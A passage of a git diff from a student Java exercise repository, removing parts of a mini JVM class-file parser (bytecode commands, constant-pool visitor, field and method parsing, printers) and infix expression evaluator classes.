-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index 6f6ecd0eb1..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
-
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index 78475ac911..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,63 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.cmd;
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.*;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ClassInfo.java
index 489e8c7c7c..227bb010a1 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ClassInfo.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -15,15 +15,10 @@ public void setUtf8Index(int utf8Index) {
 	public int getType() {
 		return type;
 	}
-
+	
 	public String getClassName() {		
 		int index = getUtf8Index();
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
 		return utf8Info.getValue();		
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitClassInfo(this);
-	}
 }
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
index 7a9200f669..e7c849ca59 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -2,6 +2,7 @@
 
 public abstract class ConstantInfo {
 	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
 	public static final int CLASS_INFO = 7;
 	public static final int STRING_INFO = 8;
 	public static final int FIELD_INFO = 9;
@@ -24,15 +25,5 @@ public ConstantPool getConstantPool() {
 	public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
-
-	public abstract void accept(Visitor visitor);
-
-	public static interface Visitor{
-		public void visitClassInfo(ClassInfo info);
-		public void visitFieldRef(FieldRefInfo info);
-		public void visitMethodRef(MethodRefInfo info);
-		public void visitNameAndType(NameAndTypeInfo info);
-		public void visitString(StringInfo info);
-		public void visistUTF8(UTF8Info info);
-	}
+	
 }
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
index bca8e0b32b..1808a35c65 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -11,7 +11,7 @@ public FieldRefInfo(ConstantPool pool) {
 	public int getType() {
 		return type;
 	}
-
+	
 	public int getClassInfoIndex() {
 		return classInfoIndex;
 	}
@@ -51,11 +51,4 @@ public String getFieldType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();	
 	}
-
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitFieldRef(this);
-	}
-
 }
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
index 4664a79cf4..dc62d438e6 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -14,12 +14,7 @@ public MethodRefInfo(ConstantPool pool) {
 	public int getType() {
 		return type;
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitMethodRef(this);
-	}
-
+	
 	public int getClassInfoIndex() {
 		return classInfoIndex;
 	}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
index f1c59a0d5e..b8b9da7353 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -25,13 +25,8 @@ public void setIndex2(int index2) {
 	public int getType() {
 		return type;
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitNameAndType(this);
-	}
-
-
+	
+	
 	public String getName(){
 		ConstantPool pool = this.getConstantPool();
 		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
index 16ec6a1e2f..bf19f681d8 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -9,9 +9,5 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-	}
-
+	
 }
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/StringInfo.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/StringInfo.java
index d18ac12305..05a4afad6a 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/StringInfo.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -10,12 +10,7 @@ public StringInfo(ConstantPool pool) {
 	public int getType() {
 		return type;
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitString(this);
-	}
-
+	
 	public int getIndex() {
 		return index;
 	}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/UTF8Info.java
index 81160db29e..61f20ed8f1 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/UTF8Info.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -16,12 +16,6 @@ public void setLength(int length) {
 	public int getType() {
 		return type;
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visistUTF8(this);
-	}
-
 	@Override
 	public String toString() {
 		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/field/Field.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/field/Field.java
deleted file mode 100644
index 18bcdb2851..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/field/Field.java
+++ /dev/null
@@ -1,38 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.field;
-
-
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
-import com.coding.mini_jvm.src.com.coderising.jvm.loader.ByteCodeIterator;
-
-public class Field {
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-
-
-	private ConstantPool pool;
-
-	public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool pool) {
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.pool = pool;
-	}
-
-
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-		int accessFlag = iter.readTwoBytesToInt();
-		int nameIndex = iter.readTwoBytesToInt();
-		int descIndex = iter.readTwoBytesToInt();
-		int attributesCount = iter.readTwoBytesToInt();
-		if (attributesCount > 0)
-			throw new RuntimeException("attributeCount of field not impl");
-		return new Field(accessFlag, nameIndex, descIndex, pool);
-	}
-
-
-	@Override
-	public String toString() {
-		return pool.getUTF8String(nameIndex)+":"+pool.getUTF8String(descriptorIndex);
-	}
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
index cf2db01a36..27d0c63af0 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -3,10 +3,10 @@
 import com.coding.mini_jvm.src.com.coderising.jvm.util.Util;
 
 public class ByteCodeIterator {
-    public static final int U1 = 1;
-    public static final int U2 = 2;
-    public static final int U4 = 4;
-    public static final int U8 = 8;
+    private static final int U1 = 1;
+    private static final int U2 = 2;
+    private static final int U4 = 4;
+    private static final int U8 = 8;
     private byte[] bytes;
     private int cursor;
 
@@ -27,27 +27,12 @@ public String readBytesToString(int len) {
     }
 
 
-    public String readBytesToHexString(int len) {
-        byte[] bs = new byte[len];
-        System.arraycopy(bytes, cursor, bs, 0, len);
-        String ret = Util.byteToHexString(bs);
-        cursor += len;
-        return ret;
-    }
-
-
     public int readTwoBytesToInt() {
         int ret = Util.bytes2Int(bytes, cursor, U2);
         cursor += U2;
         return ret;
     }
 
-    public int readFourBytesToInt() {
-        int ret = Util.bytes2Int(bytes, cursor, U4);
-        cursor += U4;
-        return ret;
-    }
-
     public int readByteToInt() {
         int ret = Util.bytes2Int(bytes, cursor, U1);
         cursor += U1;
@@ -64,12 +49,4 @@ public int skip(int len) {
         cursor += len;
         return cursor;
     }
-
-    public int back(int len) {
-        if (cursor + len < 0 || cursor + len > bytes.length - 1) {
-            throw new IndexOutOfBoundsException();
-        }
-        cursor -= len;
-        return cursor;
-    }
 }
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
index afe40a2156..542968c809 100644
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -4,8 +4,6 @@
 import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
 import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassIndex;
 import com.coding.mini_jvm.src.com.coderising.jvm.constant.*;
-import com.coding.mini_jvm.src.com.coderising.jvm.field.Field;
-import com.coding.mini_jvm.src.com.coderising.jvm.method.Method;
 
 
 public class ClassFileParser {
@@ -20,22 +18,11 @@ public ClassFile parse(byte[] codes) {
 		//主版本号
 		classFile.setMajorVersion(iterator.readTwoBytesToInt());
 		//解析常量池
-		ConstantPool constantPool = parseConstantPool(iterator);
-		classFile.setConstPool(constantPool);
+		classFile.setConstPool(parseConstantPool(iterator));
 		//访问限制符
 		classFile.setAccessFlag(parseAccessFlag(iterator));
 		//当前类/父类
 		classFile.setClassIndex(parseClassIndex(iterator));
-
-		//接口数量暂时不实现
-		int intefaceCount = iterator.readTwoBytesToInt();
-		if (intefaceCount > 0) {
-			throw new RuntimeException();
-		}
-		//解析字段
-		parseFields(classFile,iterator, constantPool);
-		//解析方法
-		parseMethod(classFile, iterator, constantPool);
 		return classFile;
 	}
 
@@ -112,19 +99,5 @@ private ConstantPool parseConstantPool(ByteCodeIterator iterator) {
 		return constantPool;
 	}
 
-
-	private void parseFields(ClassFile classFile, ByteCodeIterator iterator, ConstantPool constantPool) {
-		int fieldCount = iterator.readTwoBytesToInt();
-		for (int i = 0; i < fieldCount; i++)
-			classFile.addField(Field.parse(constantPool, iterator));
-	}
-
-
-	private void parseMethod(ClassFile clzFile, ByteCodeIterator iter, ConstantPool pool) {
-		int methodCount = iter.readTwoBytesToInt();
-		for (int i = 0; i < methodCount; i++) {
-			clzFile.addMethod(Method.parse(clzFile, iter));
-		}
-	}
-
+	
 }
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/method/Method.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/method/Method.java
deleted file mode 100644
index b848e6b515..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/method/Method.java
+++ /dev/null
@@ -1,69 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.method;
-
-
-import com.coding.mini_jvm.src.com.coderising.jvm.attr.CodeAttr;
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-import com.coding.mini_jvm.src.com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coding.mini_jvm.src.com.coderising.jvm.loader.ByteCodeIterator;
-
-public class Method {
-
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-
-	private CodeAttr codeAttr;
-
-	private ClassFile clzFile;
-
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-
-	public CodeAttr getCodeAttr() {
-		return codeAttr;
-	}
-
-	public void setCodeAttr(CodeAttr code) {
-		this.codeAttr = code;
-	}
-
-	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
-		this.clzFile = clzFile;
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-	}
-
-
-	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
-		int accessFlag = iter.readTwoBytesToInt();
-		int nameIndex = iter.readTwoBytesToInt();
-		int descIndex = iter.readTwoBytesToInt();
-		Method method = new Method(clzFile, accessFlag, nameIndex, descIndex);
-		int attrCount = iter.readTwoBytesToInt();
-		if (attrCount > 1)
-			throw new RuntimeException("other attrbute not impl yet");
-		for (int i = 0; i < attrCount; i++) {
-			int attrNameIndex = iter.readTwoBytesToInt();
-			if ("Code".equals(clzFile.getConstantPool().getUTF8String(attrNameIndex))) {
-				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
-				method.setCodeAttr(codeAttr);
-			} else
-				throw new RuntimeException(" attribute[ " + attrNameIndex + " ] not impl yet");
-		}
-		return method;
-	}
-
-	public ByteCodeCommand[] getCmds() {
-		return this.getCodeAttr().getCmds();
-	}
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
deleted file mode 100644
index 39553dd48c..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.print;
-
-import com.coding.mini_jvm.src.com.coderising.jvm.clz.ClassFile;
-import com.coding.mini_jvm.src.com.coderising.jvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-	ClassFile clzFile = null;
-	public ClassFilePrinter(ClassFile clzFile){
-		this.clzFile = clzFile;
-	}
-	
-	public void print(){
-		
-		if(clzFile.getAccessFlag().isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ clzFile.getClassName());
-		
-		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
-		
-		System.out.println("minor version:" + clzFile.getMinorVersion());
-		
-		System.out.println("major version:" + clzFile.getMinorVersion());
-		
-		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-		cnstPoolPrinter.print();
-		
-		
-		
-		
-	}
-	
-	public static void main(String[] args){
-		String path = "H:\\sourceCode\\coding2017\\group24\\494800949";
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path);
-		String className = "EmployeeV1";
-		
-		ClassFile clzFile = loader.loadClass(className);
-		
-		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
-		
-		printer.print();
-	}
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
deleted file mode 100644
index baa0e8ead4..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.print;
-
-
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantInfo;
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.ConstantPool;
-
-import java.util.Formatter;
-
-public class ConstantPoolPrinter {
-	ConstantPool pool;
-
-	ConstantPoolPrinter(ConstantPool pool) {
-		this.pool = pool;
-	}
-
-	public void print() {
-
-		System.out.println("Constant Pool:");
-
-		for (int i = 1; i <= (int)pool.getSize(); i++){
-			ConstantInfo constantInfo = pool.getConstantInfo(i);
-			Formatter formatter = new Formatter(System.out);
-			formatter.format("%5s", "#"+i);
-			constantInfo.accept(new SimpleVistor());
-		}
-	}
-
-	public static void main(String[] args) {
-//		Formatter f = new Formatter(System.out);
-//		f.format("%-15s %-5s %-10s\n", "Item", "Qty", "Price");
-//		f.format("%-15s %-5s %-10s\n", "----", "----", "-----");
-
-	}
-}
diff --git a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/SimpleVistor.java b/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/SimpleVistor.java
deleted file mode 100644
index e10e7885ba..0000000000
--- a/group24/494800949/src/main/java/com/coding/mini_jvm/src/com/coderising/jvm/print/SimpleVistor.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package com.coding.mini_jvm.src.com.coderising.jvm.print;
-
-import com.coding.mini_jvm.src.com.coderising.jvm.constant.*;
-
-import java.util.Formatter;
-
-/**
- * Created by Administrator on 2017/4/23 0023.
- */
-public class SimpleVistor implements ConstantInfo.Visitor {
-    private              Formatter formatter    = new Formatter(System.out);
-    private              String    format       = " = %-20s %-20s %-100s\n";
-    private static final String    HASH_KEY     = "#";
-    private static final String    DOUBLE_SLASH = "// ";
-    private static final String    DOT          = ".";
-    private static final String    COLON        = ":";
-
-    @Override
-    public void visitClassInfo(ClassInfo info) {
-        formatter.format(format, "Class",
-                HASH_KEY + info.getUtf8Index(),
-                DOUBLE_SLASH + info.getClassName());
-    }
-
-    @Override
-    public void visitFieldRef(FieldRefInfo info) {
-        NameAndTypeInfo nameAndTypeInfo = (NameAndTypeInfo)info.getConstantInfo(info.getNameAndTypeIndex());
-        formatter.format(format, "Fieldref",
-                HASH_KEY + info.getClassInfoIndex() + DOT + HASH_KEY + info.getNameAndTypeIndex(),
-                DOUBLE_SLASH + info.getClassName() + DOT + nameAndTypeInfo.getName() + COLON + nameAndTypeInfo.getTypeInfo());
-    }
-
-    @Override
-    public void visitMethodRef(MethodRefInfo info) {
-        formatter.format(format, "Methodref",
-                HASH_KEY + info.getClassInfoIndex() + DOT + HASH_KEY + info.getNameAndTypeIndex(),
-                DOUBLE_SLASH + info.getClassName() + DOT + info.getMethodName());
-    }
-
-    @Override
-    public void visitNameAndType(NameAndTypeInfo info) {
-        formatter.format(format, "NameAndType",
-                HASH_KEY + info.getIndex1() + COLON + HASH_KEY + info.getIndex2(),
-                DOUBLE_SLASH + info.getName() + COLON + info.getTypeInfo());
-    }
-
-    @Override
-    public void visitString(StringInfo info) {
-        formatter.format(format, "String", HASH_KEY + info.getIndex(), DOUBLE_SLASH + info.toString());
-    }
-
-    @Override
-    public void visistUTF8(UTF8Info info) {
-        formatter.format(format, "Utf8", info.getValue(), "");
-    }
-}
diff --git a/group24/494800949/src/main/java/com/coding/weak1/Stack.java b/group24/494800949/src/main/java/com/coding/weak1/Stack.java
index 0eecd9d684..ffa00f99e7 100644
--- a/group24/494800949/src/main/java/com/coding/weak1/Stack.java
+++ b/group24/494800949/src/main/java/com/coding/weak1/Stack.java
@@ -18,8 +18,6 @@ public Object pop(){
 	}
 	
 	public Object peek(){
-		if (size() == 0)
-			return null;
 		return elementData.get(elementData.size()-1);
 	}
 	public boolean isEmpty(){
diff --git a/group24/494800949/src/main/java/com/coding/week6/expr/InfixExpr.java b/group24/494800949/src/main/java/com/coding/week6/expr/InfixExpr.java
deleted file mode 100644
index 34c1b15123..0000000000
--- a/group24/494800949/src/main/java/com/coding/week6/expr/InfixExpr.java
+++ /dev/null
@@ -1,127 +0,0 @@
-package com.coding.week6.expr;
-
-import com.coding.weak1.Stack;
-
-import java.util.ArrayList;
-import java.util.Iterator;
-import java.util.List;
-
-public class InfixExpr {
-	String expr = null;
-	private Stack numberStack;
-	private Stack operatorStack;
-	private List<Token> tokens;
-	public InfixExpr(String expr) {
-		this.expr = expr;
-		this.numberStack = new Stack();
-		this.operatorStack = new Stack();
-		tokens = new ArrayList<>();
-	}
-
-
-	public float evaluate() {
-		fillStack();
-		while (!operatorStack.isEmpty()) {
-			char symbol = (char) operatorStack.pop();
-			float operTop1 = (float) numberStack.pop();
-			float operTop2 = (float) numberStack.pop();
-			numberStack.push(caculate(symbol, operTop2, operTop1));
-		}
-		return (float)numberStack.pop();
-	}
-
-	public void parseTokens() {
-		char[] chars = expr.toCharArray();
-		for (int i = 0; i < chars.length; i++) {
-			char c = chars[i];
-			if (Token.isOperator(c)) {
-				Token token = new Token(c+"");
-				tokens.add(token);
-			} else {
-				String t = "";
-				while (Token.isDigit(c)){
-					t += c;
-					i++;
-					if (i == chars.length)
-						break;
-					c = chars[i];
-				}
-				Token token = new Token(t);
-				tokens.add(token);
-				i--;
-			}
-		}
-	}
-
-
-	public void fillStack() {
-		parseTokens();
-		Iterator<Token> iterator = tokens.iterator();
-		while (iterator.hasNext()) {
-			Token token = iterator.next();
-			if (token.isNumber()) {
-				numberStack.push((float)token.parseInt());
-				continue;
-			}
-			if (token.isOperator()) {
-				char operator = token.parseOperator();
-				if (operatorStack.isEmpty()) {
-					operatorStack.push(operator);
-				}else {
-					char topSymbol = (char)operatorStack.peek();
-					if (compare(operator, topSymbol) > 0) {
-						operatorStack.push(operator);
-					} else {
-						float operTop1 = (float) numberStack.pop();
-						float operTop2 = (float) numberStack.pop();
-						numberStack.push(caculate(topSymbol, operTop2, operTop1));
-						operatorStack.pop();
-						operatorStack.push(operator);
-					}
-				}
-			}
-
-		}
-	}
-
-
-	private float caculate(char symbol, float oper1, float oper2) {
-		if ('*' == symbol)
-			return oper1 * oper2;
-		else if ('/' == symbol)
-			return oper1 / oper2;
-		else if ('+' == symbol)
-			return oper1 + oper2;
-		else if ('-' == symbol)
-			return oper1 - oper2;
-		else
-			throw new RuntimeException("this operation has not implement");
-	}
-
-	public int compare(char opertor1, char opertor2) {
-		if (!Token.isOperator(opertor1) )
-			throw new IllegalArgumentException(opertor1 + "is not supported opertor");
-		if (!Token.isOperator(opertor2))
-			throw new IllegalArgumentException(opertor2 + "is not supported opertor");
-		if (Token.isAddOrSub(opertor1)) {
-			if (Token.isAddOrSub(opertor2))
-				return 0;
-			else
-				return -1;
-		}
-		else {
-			if (Token.isAddOrSub(opertor2))
-				return 1;
-			else
-				return 0;
-		}
-	}
-
-	public String printNumberStack() {
-		return numberStack.toString();
-	}
-
-	public String printOperatorStack() {
-		return operatorStack.toString();
-	}
-}
diff --git a/group24/494800949/src/main/java/com/coding/week6/expr/Token.java b/group24/494800949/src/main/java/com/coding/week6/expr/Token.java
deleted file mode 100644
index b58aa36968..0000000000
--- a/group24/494800949/src/main/java/com/coding/week6/expr/Token.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package com.coding.week6.expr;
-
-/**
- * Created by Administrator on 2017/4/16 0016.
- */
-public class Token {
-
-    private String symbol;
-
-    public Token(String symbol) {
-        this.symbol = symbol;
-    }
-
-    public boolean isNumber() {
-        return symbol.matches("^\\d+$");
-    }
-
-
-    public boolean isOperator() {
-        return symbol.matches("^[\\+|\\*|\\-|\\/]$");
-    }
-
-    public int parseInt() {
-        return Integer.valueOf(symbol);
-    }
-
-    public char parseOperator() {
-        return symbol.charAt(0);
-    }
-
-
-    public static boolean isOperator(char c) {
-        return isAddOrSub(c) || isMulityOrDivide(c);
-    }
-
-    public static boolean isAddOrSub(char c) {
-        return c == '+' || c == '-';
-    }
-
-    public static boolean isMulityOrDivide(char c) {
-        return c == '/' || c == '*';
-    }
-
-    public static boolean isDigit(char c) {
-        return  c >= '0' && c <= '9';
-    }
-
-    @Override
-    public String toString(){
-        return symbol;
-    }
-}
diff --git a/group24/494800949/src/main/java/com/coding/week6/exprNew/InfixExpr.java b/group24/494800949/src/main/java/com/coding/week6/exprNew/InfixExpr.java
deleted file mode 100644
index 3962b49fce..0000000000
--- a/group24/494800949/src/main/java/com/coding/week6/exprNew/InfixExpr.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coding.week6.exprNew;
-
-import com.coding.weak1.Stack;
-
-import java.util.List;
-
-public class InfixExpr {
-	String expr = null;
-
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-
-	public float evaluate() {
-
-		Stack operatorStack = new Stack();
-		Stack numberStack = new Stack();
-		fillStack(numberStack, operatorStack);
-		while (!operatorStack.isEmpty()) {
-			Operator symbol = (Operator) operatorStack.pop();
-			float operTop1 = (float) numberStack.pop();
-			float operTop2 = (float) numberStack.pop();
-			numberStack.push(symbol.apply(operTop2, operTop1));
-		}
-		return (float)numberStack.pop();
-	}
-
-	public void fillStack(Stack numberStack, Stack operatorStack) {
-		TokenParser tokenParser = new TokenParser();
-		List<Token> tokens = tokenParser.parse(expr);
-		for (Token token : tokens) {
-			if (token.isNumber()) {
-				numberStack.push(token.getFloatValue());
-			}
-			else if (token.isOperator()) {
-				Operator o = token.getOperator();
-				if (operatorStack.isEmpty()) {
-					operatorStack.push(o);
-				}else {
-					Operator top = (Operator)operatorStack.peek();
-					if (o.hasHigherPriority(top)) {
-						operatorStack.push(o);
-					} else {
-						float operTop1 = (float) numberStack.pop();
-						float operTop2 = (float) numberStack.pop();
-						numberStack.push(top.apply(operTop2, operTop1));
-						operatorStack.pop();
-						operatorStack.push(o);
-					}
-				}
-			}
-
-		}
-	}
-
